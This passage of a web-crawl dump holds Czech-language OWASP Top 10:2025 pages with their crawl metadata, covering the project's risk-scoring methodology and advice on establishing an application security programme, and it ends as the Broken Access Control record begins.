bezpečnostní mechanismy a knihovny\n- Ucelené knihy o testování bezpečnosti aplikací, bezpečném vývoji kódu a jeho revizi\n- Prezentace a [videa](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) (taháky) pro běžná tématům\n- [Setkání poboček](https://owasp.org/chapters/) pořádaná po celém světě i online\n- [Akce, školení a konference](https://owasp.org/events/) .\n- [Google Groups](https://groups.google.com/g/owasp)\n\nDalší informace naleznete na: [https://owasp.org](https://owasp.org).\n\nVšechny nástroje, dokumenty, videa, prezentace a místní pobočky OWASP jsou volně a otevřeně dostupné každému, kdo má zájem přispět ke zlepšování bezpečnosti aplikací.\n\nProsazujeme přístup k bezpečnosti aplikací jako k problému lidí, procesů a technologií, protože nejúčinnější přístupy vyžadují zlepšení ve všech těchto oblastech.\n\nOWASP je jiný typ organizace. Naše nezávislost na komerčních tlacích nám umožňuje poskytovat nezaujaté, praktické a nákladově efektivní informace o bezpečnosti aplikací.\n\nOWASP není přidružen k žádné technologické společnosti, přesto podporuje informované používání komerčních bezpečnostních technologií. OWASP vytváří různé typy materiálů spolupracujícím, transparentním a otevřeným způsobem.\n\nOWASP Foundation je nezisková organizace, která zajišťuje dlouhodobý úspěch projektu. Téměř všichni, kdo jsou s OWASP spojeni, jsou dobrovolníci, včetně členů správní rady OWASP, vedoucích poboček, vedoucích projektů i členů projektů. Podporujeme inovativní bezpečnostní výzkum prostřednictvím grantů a potřebného zázemí (infrastruktury).\n\nPřidejte se k nám!\n\n## Autorská práva a licence\n\nCopyright © 2003–2025 The OWASP® Foundation, Inc. Tento dokument je vydán pod licencí Creative Commons Attribution Share-Alike 4.0. Při jakémkoli opětovném použití nebo šíření musíte ostatním jasně sdělit licenční podmínky tohoto díla.", "znaku_textu": 2182, "slov": 261, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:31", "sha256": "caef11f04e03472f5b060744bb21c8d7858dbae05c8b982ab89cc61ea011f6f5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/0x02_2025-What_are_Application_Security_Risks/", "titulek": "Co jsou bezpečnostní rizika aplikací? - OWASP Top 10:2025", "h1": "Co jsou bezpečnostní rizika aplikací?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Co jsou bezpečnostní rizika aplikací?"}, {"uroven": 2, "text": "Způsob použití dat pro výběr kategorií a jejich hodnocení"}, {"uroven": 2, "text": "Datové faktory"}], "markdown": "# Co jsou bezpečnostní rizika aplikací?\n\nÚtočníci mohou využít mnoho různých cest prostřednictvím vaší aplikace k poškození vašeho byznysu či organizace. Každý z těchto způsobů představuje potenciální riziko, které je nutné prověřit.\n\n| **Aktéři hrozeb** | **Vektory útoku** | **Zneužitelnost** | **Pravděpodobnost chybějících bezpečnostních kontrol** | **Technické dopady** | **Byznysové dopady** |\n| --- | --- | --- | --- | --- | --- |\n| **Podle prostředí, dynamicky podle situačního obrazu** | **Podle expozice aplikace (podle prostředí)** | **Průměrná vážená zneužitelnost** | **Chybějící kontroly podle průměrné míry výskytu vážené podle pokrytí** | **Průměrný vážený dopad** | **Podle byznysu** |\n\nV našem hodnocení rizik jsme zohlednili univerzální parametry zneužitelnosti, průměrné pravděpodobnosti chybějících bezpečnostních kontrol u dané slabiny a její technické dopady.\n\nKaždá organizace je jedinečná, stejně jako aktéři hrozeb pro danou organizaci, jejich cíle a dopady případného narušení. Pokud organizace poskytující veřejné informace používá systém pro správu obsahu (CMS) k publikaci obsahu pro veřejnost a zdravotnický systém používá tentýž CMS pro práci s citlivými zdravotními záznamy, mohou se aktéři hrozeb i dopady na organizaci u stejného softwaru výrazně lišit. Je zásadní porozumět riziku pro vaši organizaci na základě expozice aplikace, relevantních aktérů hrozeb v daném situačním obrazu (u cílených i necílených útoků podle byznysu a lokality) a konkrétních byznysových dopadů.\n\n## Způsob použití dat pro výběr kategorií a jejich hodnocení\n\nV roce 2017 byly kategorie vybírány podle míry výskytu za účelem určení pravděpodobnosti, a následně byly seřazeny na základě týmové diskuse vycházející z desítek let zkušeností v oblastech zneužitelnosti, detekovatelnosti (také pravděpodobnosti) a technického dopadu. Pro rok 2021 jsme použili data zneužitelnosti a (technického) dopadu ze skóre CVSSv2 a CVSSv3 v National Vulnerability Database (NVD). Pro rok 2025 jsme pokračovali ve stejné metodice, kterou jsme vytvořili v roce 2021.\n\nStáhli jsme OWASP Dependency Check a extrahovali skóre CVSS pro zneužitelnost a dopad, seskupená podle souvisejících CWE. Tento proces vyžadoval značné množství výzkumu a úsilí, protože všechny CVE mají skóre CVSSv2, avšak CVSSv2 obsahuje nedostatky, které má řešit CVSSv3. Od určitého okamžiku jsou všem CVE přiřazována také skóre CVSSv3. Kromě toho byly mezi CVSSv2 a CVSSv3 aktualizovány rozsahy skórování i výpočetní vzorce.\n\nV CVSSv2 mohly hodnoty zneužitelnosti i (technického) dopadu dosahovat až 10,0, avšak výpočetní vzorec je snižoval na 60 % pro zneužitelnost a 40 % pro dopad. V CVSSv3 je teoretické maximum omezeno na 6,0 pro zneužitelnost a 4,0 pro dopad. Po zohlednění vážení se hodnocení dopadu v CVSSv3 posunulo výše, v průměru téměř o jeden a půl bodu, zatímco hodnocení zneužitelnosti se při analýze pro Top Ten 2021 v průměru posunulo téměř o půl bodu níže.\n\nV National Vulnerability Database (NVD) se nachází přibližně 175 tisíc záznamů CVE mapovaných na CWE (nárůst ze 125 tisíc v roce 2021), extrahovaných z OWASP Dependency Check. Dále je evidováno 643 jedinečných CWE mapovaných na CVE (nárůst z 241 v roce 2021). Z téměř 220 tisíc extrahovaných CVE mělo 160 tisíc skóre CVSS v2, 156 tisíc skóre CVSS v3 a 6 tisíc skóre CVSS v4. Mnoho CVE má více skóre, což vysvětluje, proč jejich celkový počet přesahuje 220 tisíc.\n\nPro Top Ten 2025 jsme průměrná skóre zneužitelnosti a dopadu vypočítali následujícím způsobem. Všechny CVE se známým CVSS skóre jsme seskupili podle CWE a jak skóre zneužitelnosti, tak i dopadu jsme vážili podle podílu záznamů hodnocených pomocí CVSSv3 a zbývajícího podílu hodnoceného pomocí CVSSv2, abychom získali celkový vážený průměr. Tyto průměrné hodnoty jsme následně namapovali na jednotlivé CWE v datové sadě a použili je jako skóre zneužitelnosti a (technického) dopadu pro druhou polovinu rovnice rizika.\n\nProč nebylo použito CVSS v4.0? Důvodem je, že skórovací algoritmus byl zásadně změněn a již neposkytuje skóre zneužitelnosti nebo dopadu tak přímo, jako je tomu u CVSSv2 a CVSSv3. V budoucích vydáních Top Ten se pokusíme nalézt způsob, jak skórování CVSS v4.0 využít, avšak pro vydání 2025 se nepodařilo nalézt časově proveditelné řešení.\n\nPro míru výskytu (incidence rate) jsme vypočítali procento aplikací zranitelných vůči jednotlivým CWE z populace aplikací testovaných organizací v určitém časovém období. Připomínáme, že nepoužíváme četnost (tedy kolikrát se problém v aplikaci vyskytuje), ale zajímá nás, jaké procento populace aplikací mělo dané CWE.\n\nPro pokrytí (coverage) sledujeme procento aplikací testovaných napříč všemi organizacemi pro konkrétní CWE. Čím vyšší je vypočtené pokrytí, tím větší je jistota, že míra výskytu je přesná, protože velikost vzorku je reprezentativnější pro populaci.\n\nVzorec použitý v tomto vydání je podobný vydání z roku 2021, s některými změnami ve vážení:\n(Maximální míra výskytu % * 1000) + (Maximální pokrytí % * 100) + (Průměrná zneužitelnost * 10) + (Průměrný dopad * 20) + (Součet výskytů / 10 000) = Skóre rizika\n\nVypočtená skóre se pohybovala od 621,60 u kategorie Nedostatečné řízení přístupu (Broken Access Control) až po 271,08 u kategorie Chyby správy paměti (Memory Management Errors).\n\nNejde o dokonalý systém, ale je užitečný pro řazení kategorií rizik.\n\nDalší výzvou, jejíž význam roste, je vymezení pojmu „aplikace“. S tím, jak se odvětví posouvá k odlišným architekturám založeným na mikroslužbách a dalších implementacích, které jsou menší než tradiční aplikace, jsou související výpočty stále obtížnější. Například pokud organizace testuje repozitáře zdrojového kódu, vyvstává otázka, co je v takovém případě považováno za aplikaci. Podobně jako s nástupem CVSSv4 může být v příštím vydání OWASP Top 10 nutné upravit analýzu a skórování tak, aby zohledňovaly neustále se měnící charakter odvětví.\n\n## Datové faktory\n\nPro každou kategorii OWASP Top Ten jsou uvedeny datové faktory; jejich význam je následující:\n\n**Mapované CWE (CWEs Mapped):** Počet CWE přiřazených ke kategorii týmem Top Ten.\n\n**Míra výskytu (Incidence Rate):** Procento aplikací zranitelných vůči danému CWE z populace aplikací testovaných danou organizací v daném roce.\n\n**Vážená zneužitelnost (Weighted Exploit):** Dílčí skóre zneužitelnosti ze skóre CVSSv2 a CVSSv3 přiřazených k CVE mapovaným na CWE, normalizované a převedené na desetibodovou škálu.\n\n**Vážený dopad (Weighted Impact):** Dílčí skóre dopadu ze skóre CVSSv2 a CVSSv3 přiřazených k CVE mapovaným na CWE, normalizované a převedené na desetibodovou škálu.\n\n**(Testovací) pokrytí ((Testing) Coverage):** Procento aplikací testovaných všemi organizacemi pro daný CWE.\n\n**Celkový počet výskytů (Total Occurrences):** Celkový počet aplikací, u nichž byly nalezeny CWE mapované na danou kategorii.\n\n**Celkový počet CVE (Total CVEs):** Celkový počet CVE v databázi NVD, které byly mapovány na CWE mapované k dané kategorii.\n\n**Vzorec (Formula):** (Maximální míra výskytu % * 1000) + (Maximální pokrytí % * 100) + (Průměrná zneužitelnost * 10) + (Průměrný dopad * 20) + (Součet výskytů / 10 000) = Skóre rizika", "znaku_textu": 6946, "slov": 1012, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:32", "sha256": "db2253548b5a8f610110a96edba35b6d89fc11f7536a62609f68609277b62c1c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Zavedení moderního programu bezpečnosti aplikací - OWASP Top 10:2025", "h1": "Zavedení moderního programu bezpečnosti aplikací", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Zavedení moderního programu bezpečnosti aplikací"}, {"uroven": 3, "text": "1. Zavedení portfoliového přístupu založeného na riziku:"}, {"uroven": 3, "text": "2. Vybudujte pevné základy:"}, {"uroven": 3, "text": "3. Integrujte bezpečnost do stávajících procesů:"}, {"uroven": 3, "text": "4. Vzdělávání v oblasti bezpečnosti aplikací:"}, {"uroven": 3, "text": "5. Zajištění přehledu pro management:"}, {"uroven": 2, "text": "Zavedení a používání opakovatelných bezpečnostních procesů a standardních bezpečnostních kontrol"}, {"uroven": 3, "text": "Fáze řízení požadavků a zdrojů:"}, {"uroven": 3, "text": "Žádosti o nabídku (RFP) a uzavírání smluv:"}, {"uroven": 3, "text": "Fáze plánování a návrhu:"}, {"uroven": 3, "text": "Bezpečný životní cyklus vývoje (Secure Development Lifecycle):"}, {"uroven": 3, "text": "Zavedení kontinuálního testování bezpečnosti aplikací:"}, {"uroven": 3, "text": "Nasazení (Rollout):"}, {"uroven": 3, "text": "Provoz a řízení změn (Operations and Change Management):"}, {"uroven": 3, "text": "Vyřazování systémů (Retiring Systems):"}, {"uroven": 2, "text": "Použití OWASP Top 10 jako standardu"}], "markdown": "# Zavedení moderního programu bezpečnosti aplikací\n\nSeznamy OWASP Top Ten jsou osvětové dokumenty, jejichž cílem je zvýšit povědomí o nejkritičtějších rizicích v oblasti, kterou pokrývají. Nejsou zamýšleny jako úplný výčet, ale pouze jako výchozí bod. V předchozích verzích tohoto seznamu jsme jako nejlepší způsob, jak se těmto rizikům a dalším vyhnout, doporučovali zahájit program bezpečnosti aplikací. V této části se zaměříme na to, jak moderní program bezpečnosti aplikací zahájit a dále rozvíjet.\n\nPokud již program bezpečnosti aplikací máte, zvažte provedení posouzení jeho vyspělosti pomocí [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) nebo DSOMM (DevSecOps Maturity Model). Tyto modely vyspělosti jsou komplexní a vyčerpávající a lze je použít k určení oblastí, na které byste se měli při rozšiřování a zvyšování vyspělosti programu nejvíce zaměřit. Upozornění: není nutné realizovat vše, co je v OWASP SAMM nebo DSOMM uvedeno, aby bylo možné říci, že svou práci děláte dobře. Tyto modely mají sloužit jako vodítko a nabídnout mnoho možností. Nejsou určeny k tomu, aby stanovovaly nedosažitelné standardy nebo popisovaly finančně neúnosné programy. Jsou rozsáhlé právě proto, aby poskytly co nejvíce nápadů a variant.\n\nPokud program budujete zcela od začátku, nebo pokud jsou pro váš tým OWASP SAMM či DSOMM v současnosti „příliš rozsáhlé“, projděte si prosím následující doporučení.\n\n### 1. Zavedení portfoliového přístupu založeného na riziku:\n\n- Identifikujte potřeby ochrany portfolia vašich aplikací z byznysového hlediska. Tyto potřeby by měly být částečně řízeny právními předpisy o ochraně soukromí a dalšími regulacemi relevantními pro chráněná datová aktiva.\n- Zaveďte [společný model hodnocení rizik](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) s konzistentní sadou faktorů pravděpodobnosti a dopadu, které odrážejí toleranci vaší organizace k riziku.\n- Na tomto základě měřte a prioritizujte všechny své aplikace a API. Výsledky zaznamenejte do své [databáze pro správu konfigurací (Configuration Management Database, CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database) .\n- Zaveďte směrnice pro poskytování jistoty (zajištění důvěryhodnosti; assurance), které jednoznačně definují požadované pokrytí a úroveň důslednosti.\n\n### 2. Vybudujte pevné základy:\n\n- Zaveďte soubor cílených politik a standardů, které poskytují základní úroveň bezpečnosti aplikací, již musí dodržovat všechny vývojové týmy.\n- Definujte společnou sadu opakovaně použitelných bezpečnostních kontrol, které tyto politiky a standardy doplňují a poskytují vodítka pro jejich použití při návrhu a vývoji.\n- Zaveďte vzdělávací kurikulum v oblasti bezpečnosti aplikací, které je povinné a přizpůsobené různým vývojovým rolím a tematickým oblastem.\n\n### 3. Integrujte bezpečnost do stávajících procesů:\n\n- Definujte a integrujte činnosti bezpečné implementace a bezpečnostního ověřování do stávajících vývojových a provozních procesů.\n- Tyto činnosti zahrnují modelování hrozeb, bezpečný návrh a revizi návrhu, bezpečné programování a revizi kódu, penetrační testování a nápravu zjištěných problémů.\n- Zajistěte odborníky v dané oblasti a podpůrné služby, aby vývojové a projektové týmy mohly být úspěšné.\n- Proveďte revizi současného životního cyklu vývoje systémů a všech aktivit v oblasti bezpečnosti softwaru, nástrojů, politik a procesů a tyto skutečnosti zdokumentujte.\n- Pro nový software přidejte jednu nebo více bezpečnostních aktivit do každé fáze životního cyklu vývoje systému (SDLC). Níže uvádíme řadu návrhů, co lze v jednotlivých fázích dělat. Zajistěte, aby byly tyto nové aktivity prováděny u každého nového projektu nebo softwarové iniciativy. Tím zajistíte, že každý nový software bude dodán v bezpečnostním stavu přijatelném pro vaši organizaci.\n- Vybírejte jednotlivé aktivity tak, aby výsledný produkt splňoval přijatelnou úroveň rizika pro vaši organizaci.\n- Pro stávající software (někdy označovaný jako legacy) je vhodné mít plán údržby. Níže v části nazvané „Provoz a řízení změn (Operations and Change Management)“ uvádíme návrhy, jak bezpečné aplikace udržovat.\n\n### 4. Vzdělávání v oblasti bezpečnosti aplikací:\n\n- Zvažte zahájení programu Security Champion, případně obecného vzdělávacího programu v oblasti bezpečnosti pro vývojáře (někdy označovaného jako advocacy nebo security awareness program), jehož cílem je naučit je vše, co považujete za důležité, aby znali. Takový program pomáhá udržovat aktuální znalosti, podporuje bezpečný způsob práce a přispívá k pozitivnější bezpečnostní kultuře na pracovišti. Často také zlepšuje důvěru mezi týmy a vede k lepším pracovním vztahům. OWASP vás v tomto podporuje prostřednictvím [OWASP Security Champions Guide](https://securitychampions.owasp.org/) , který je postupně rozšiřován.\n- OWASP Education Project poskytuje školicí materiály pro vzdělávání vývojářů v oblasti bezpečnosti webových aplikací. Pro praktické seznámení se zranitelnostmi lze využít projekty [OWASP Juice Shop Project](https://owasp.org/www-project-juice-shop/) nebo [OWASP WebGoat](https://owasp.org/www-project-webgoat/) . Pro udržení aktuálních znalostí se doporučuje účast na [OWASP AppSec Conference](https://owasp.org/events/) , [OWASP Conference Training](https://owasp.org/events/) , nebo na setkáních místních [OWASP Chapter](https://owasp.org/chapters/) .\n\n### 5. Zajištění přehledu pro management:\n\n- Řiďte bezpečnost na základě metrik. Podporujte zlepšování a rozhodování o financování na základě metrik a analyzovaných dat, která byla shromážděna. Metriky zahrnují například dodržování bezpečnostních postupů a aktivit, nově zavedené zranitelnosti, odstraněné zranitelnosti, pokrytí aplikací, hustotu chyb podle typu a počtu jejich výskytů apod.\n- Analyzujte data z činností bezpečné implementace a ověřování s cílem identifikovat kořenové příčiny a vzorce zranitelností, které mohou vést ke strategickým a systémovým zlepšením napříč organizací. Poučte se z chyb a zavádějte pozitivní pobídky na podporu dalšího zlepšování.\n\n## Zavedení a používání opakovatelných bezpečnostních procesů a standardních bezpečnostních kontrol\n\n### Fáze řízení požadavků a zdrojů:\n\n- Shromažďujte a projednávejte byznysové požadavky na aplikaci se zástupci byznysu, včetně požadavků na ochranu všech datových aktiv z hlediska důvěrnosti, autenticity, integrity a dostupnosti, a očekávané aplikační (byznys) logiky.\n- Sestavte technické požadavky, včetně funkčních a nefunkčních bezpečnostních požadavků. OWASP doporučuje používat [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS) jako referenční rámec pro stanovení bezpečnostních požadavků na vaše aplikace.\n- Naplánujte a vyjednejte rozpočet, který pokrývá všechny aspekty návrhu, implementace, testování a provozu, včetně bezpečnostních aktivit.\n- Zařaďte bezpečnostní aktivity do harmonogramu projektu.\n- Na zahájení projektu (kick-off) se představte jako zástupce bezpečnosti, aby bylo jasné, na koho se obracet v otázkách bezpečnosti.\n\n### Žádosti o nabídku (RFP) a uzavírání smluv:\n\n- Vyjednávejte požadavky s interními nebo externími vývojáři, včetně pokynů a bezpečnostních požadavků v návaznosti na váš bezpečnostní program, např. životní cyklus vývoje softwaru (SDLC) a osvědčené postupy (best practices).\n- Posuzujte míru splnění všech technických požadavků, včetně fáze plánování a návrhu.\n- Vyjednávejte všechny technické požadavky, včetně požadavků na návrh, bezpečnost a dohody o úrovni poskytovaných služeb (Service Level Agreement, SLA).\n- Používejte šablony a kontrolní seznamy, například [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex) . **Poznámka:** Tento annex je určen pro smluvní právo USA, proto se před použitím vzorového annexu poraďte s kvalifikovaným právním odborníkem.\n\n### Fáze plánování a návrhu:\n\n- Projednávejte plánování a návrh s vývojáři a interními zainteresovanými stranami, např. se specialisty na bezpečnost.\n- Definujte bezpečnostní architekturu, bezpečnostní kontroly, protiopatření a procesy revize návrhu odpovídající potřebám ochrany a očekávané úrovni hrozeb. Tento proces by měl být podporován bezpečnostními specialisty.\n- Namísto dodatečného začleňování bezpečnosti do aplikací a API je výrazně nákladově efektivnější navrhovat bezpečnost již od počátku. OWASP doporučuje [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) a [OWASP Proactive Controls](https://top10proactive.owasp.org/) jako vhodný výchozí bod pro doporučení, jak navrhovat bezpečnost od samého začátku.\n- Provádějte modelování hrozeb; viz [OWASP Cheat Sheet: Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html) .\n- Vzdělávejte softwarové architekty v principech a vzorech bezpečného návrhu a vyzvěte je, aby je tam, kde je to možné, zahrnovali do svých návrhů.\n- Analyzujte datové toky společně s vývojáři.\n- Přidávejte bezpečnostní user stories vedle všech ostatních user stories.\n\n### Bezpečný životní cyklus vývoje (Secure Development Lifecycle):\n\n- Pro zlepšení procesů, které vaše organizace používá při vývoji aplikací a API, OWASP doporučuje [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/) . Tento model pomáhá organizacím formulovat a implementovat strategii bezpečnosti softwaru přizpůsobenou konkrétním rizikům, kterým daná organizace čelí.\n- Poskytujte vývojářům školení v oblasti bezpečného programování (kódování) a další školení, která jim pomohou vytvářet robustnější a bezpečnější aplikace.\n- Provádějte revize zdrojového kódu; viz [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Poskytněte vývojářům bezpečnostní nástroje a naučte je je používat, zejména nástroje pro statickou analýzu, analýzu složení softwaru (softwarových závislostí) (Software Composition Analysis), skenery tajných údajů (secrets) a skenery Infrastructure as Code (IaC).\n- Pokud je to možné, vytvářejte pro vývojáře ochranné mantinely (guardrails – tedy technická ochranná opatření, která je směrují k bezpečnějším volbám).\n- Navrhování silných a zároveň použitelných bezpečnostních kontrol je obtížné. Pokud je to možné, poskytujte bezpečná výchozí nastavení (secure defaults) a vytvářejte tzv. „paved roads“ (tj. zajistěte, aby nejjednodušší způsob byl zároveň nejbezpečnější a zjevně preferovaný postup). [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) představují dobrý výchozí bod pro vývojáře a mnoho moderních frameworků dnes již obsahuje standardní a účinné bezpečnostní mechanismy pro autorizaci, validaci, prevenci CSRF apod.\n- Poskytněte vývojářům zásuvné moduly do IDE související s bezpečností a podporujte jejich používání.\n- Zajistěte nástroj pro správu tajných údajů (secret management), potřebné licence a dokumentaci k jeho používání.\n- Poskytněte vývojářům soukromý nástroj umělé inteligence (AI), ideálně s RAG serverem obsahujícím užitečnou bezpečnostní dokumentaci, prompty připravené vaším týmem pro dosažení lepších výsledků a MCP serverem, který volá bezpečnostní nástroje používané ve vaší organizaci. Naučte je AI používat bezpečně, protože ji budou používat bez ohledu na to, zda si to přejete.\n\n### Zavedení kontinuálního testování bezpečnosti aplikací:\n\n- Testujte technické funkce a jejich integraci s IT architekturou a koordinujte testování byznysové logiky.\n- Vytvářejte testovací případy typu „use“ (běžné použití) a „abuse“ (zneužití) z technického i byznysového pohledu.\n- Řiďte bezpečnostní testování v souladu s interními procesy, potřebami ochrany a předpokládanou úrovní hrozeb dané aplikace.\n- Zajistěte nástroje pro bezpečnostní testování (fuzzery, DAST apod.), bezpečné prostředí pro testování a školení k jejich používání, nebo testování provádějte za vývojáře, nebo najměte testera.\n- Pokud je požadována vysoká míra jistoty (assurance), zvažte formální penetrační test, stejně jako zátěžové a výkonnostní testování.\n- Spolupracujte s vývojáři při rozhodování, které nálezy z hlášení o chybách je nutné opravit, a zajistěte, aby jim jejich manažeři poskytli čas na jejich odstranění.\n\n### Nasazení (Rollout):\n\n- Uveďte aplikaci do provozu a v případě potřeby proveďte migraci z dříve používaných aplikací.\n- Dokončete veškerou dokumentaci, včetně databáze pro řízení změn (CMDB) a bezpečnostní architektury.\n\n### Provoz a řízení změn (Operations and Change Management):\n\n- Provoz musí zahrnovat směrnice pro bezpečnostní správu aplikace (např. patch management).\n- Zvyšujte bezpečnostní povědomí uživatelů a řešte konflikty mezi použitelností a bezpečností.\n- Plánujte a řiďte změny, např. migraci na nové verze aplikace nebo dalších komponent, jako je operační systém, middleware a knihovny.\n- Zajistěte, aby všechny aplikace byly evidovány v inventáři a aby byly zdokumentovány všechny důležité informace. Aktualizujte veškerou dokumentaci, včetně záznamů v databázi pro řízení změn (CMDB) a dokumentace bezpečnostní architektury, bezpečnostních kontrol a protiopatření, včetně provozních postupů (runbooks) nebo projektové dokumentace.\n- Provádějte logování, monitorování a upozorňování (alerting) pro všechny aplikace. Pokud některá z těchto oblastí chybí, doplňte ji.\n- Vytvořte procesy pro efektivní a účinné aktualizace a záplatování.\n- Zaveďte pravidelné harmonogramy skenování (ideálně dynamické, statické, skenování tajných údajů, IaC a analýzu softwarového složení).\n- Stanovte SLA pro opravy bezpečnostních chyb.\n- Poskytněte zaměstnancům (a ideálně i zákazníkům) způsob, jak hlásit chyby.\n- Zřiďte vyškolený tým pro reakci na bezpečnostní incidenty (incident response team), který rozumí tomu, jak vypadají útoky na software, a zná nástroje k jejich sledování (observabilitu).\n- Používejte nástroje pro blokování nebo ochranu před automatizovanými útoky.\n- Provádějte pravidelný hardening konfigurací alespoň jednou ročně (nebo častěji).\n- Minimálně jednou ročně provádějte penetrační testování (v závislosti na požadované míře jistoty).\n- Zaveďte procesy a nástroje pro posílení a ochranu vašeho softwarového dodavatelského řetězce.\n- Zaveďte a průběžně aktualizujte plán kontinuity byznysu a obnovy po havárii (business continuity a disaster recovery), který zahrnuje nejdůležitější aplikace a nástroje používané k jejich provozu a údržbě.\n\n### Vyřazování systémů (Retiring Systems):\n\n- Veškerá požadovaná data by měla být archivována. Všechna ostatní data by měla být bezpečně smazána.\n- Aplikaci bezpečně vyřaďte z provozu, včetně odstranění nepoužívaných účtů, rolí a oprávnění.\n- Nastavte stav aplikace na „retired“ v databázi pro řízení změn (CMDB).\n\n## Použití OWASP Top 10 jako standardu\n\nOWASP Top 10 je primárně osvětový dokument. To však organizacím nebrání v tom, aby jej od svého vzniku v roce 2003 používaly jako de facto průmyslový standard AppSec. Pokud chcete OWASP Top 10 používat jako standard pro kódování (programování) nebo testování, je nutné si uvědomit, že představuje pouhé minimum a pouze výchozí bod.\n\nJednou z obtíží při používání OWASP Top 10 jako standardu je, že dokumentujeme AppSec rizika, nikoli nutně snadno testovatelné problémy. Například [A06:2025 Nezabezpečený návrh (Insecure Design)](../A06_2025-Insecure_Design/) je mimo rozsah většiny forem testování. Dalším příkladem je ověřování, zda je implementováno průběžné, používané a účinné logování a monitorování, které lze provést pouze prostřednictvím rozhovorů a vyžádání vzorku účinných reakcí na incidenty. Nástroj pro statickou analýzu kódu může hledat absenci logování, ale může být nemožné určit, zda byznys logika nebo řízení přístupu loguje kritická bezpečnostní narušení. Penetrační testeři mohou být schopni zjistit pouze to, že v testovacím prostředí vyvolali reakci na incident, která je zřídka monitorována stejným způsobem jako produkce.\n\nZde jsou naše doporučení, kdy je vhodné OWASP Top 10 použít:\n\n| **Oblast (Use Case)** | **OWASP Top 10 2025** | **OWASP Application Security Verification Standard** |\n| --- | --- | --- |\n| Povědomí | Ano | |\n| Školení | Základní úroveň | Komplexní |\n| Návrh a architektura | Částečně | Ano |\n| Kódovací standard | Naprosté minimum | Ano |\n| Bezpečnostní revize kódu | Naprosté minimum | Ano |\n| Kontrolní seznam pro peer review | Naprosté minimum | Ano |\n| Jednotkové testování (Unit testing) | Částečně | Ano |\n| Integrační testování | Částečně | Ano |\n| Penetrační testování | Naprosté minimum | Ano |\n| Nástrojová podpora | Naprosté minimum | Ano |\n| Bezpečný dodavatelský řetězec | Částečně | Ano |\n\nDoporučujeme všem, kdo chtějí zavést standard zabezpečení aplikací, použít [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS), protože je navržen tak, aby byl ověřitelný a testovatelný, a lze jej použít ve všech fázích bezpečného životního cyklu vývoje.\n\nASVS je jedinou přijatelnou volbou pro dodavatele nástrojů. Nástroje nemohou komplexně detekovat, testovat ani chránit vůči OWASP Top 10 vzhledem k povaze některých rizik v OWASP Top 10, zejména s odkazem na [A06:2025 Nezabezpečený návrh (Insecure Design)](../A06_2025-Insecure_Design/). OWASP odrazuje od jakýchkoli tvrzení o úplném pokrytí OWASP Top 10, protože to prostě není pravda.", "znaku_textu": 17092, "slov": 2164, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:33", "sha256": "5a49ceeee3331268c9c70b477b251ebf3b9f36a858db23c96f49dad5fa79dd74", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/A01_2025-Broken_Access_Control/", "titulek": "A01 Narušené řízení přístupu - OWASP Top 10:2025", "h1": "A01:2025 Nedostatky v řízení přístupu (Broken Access Control)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/A01_2025-Broken_Access_Control/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 Nedostatky v 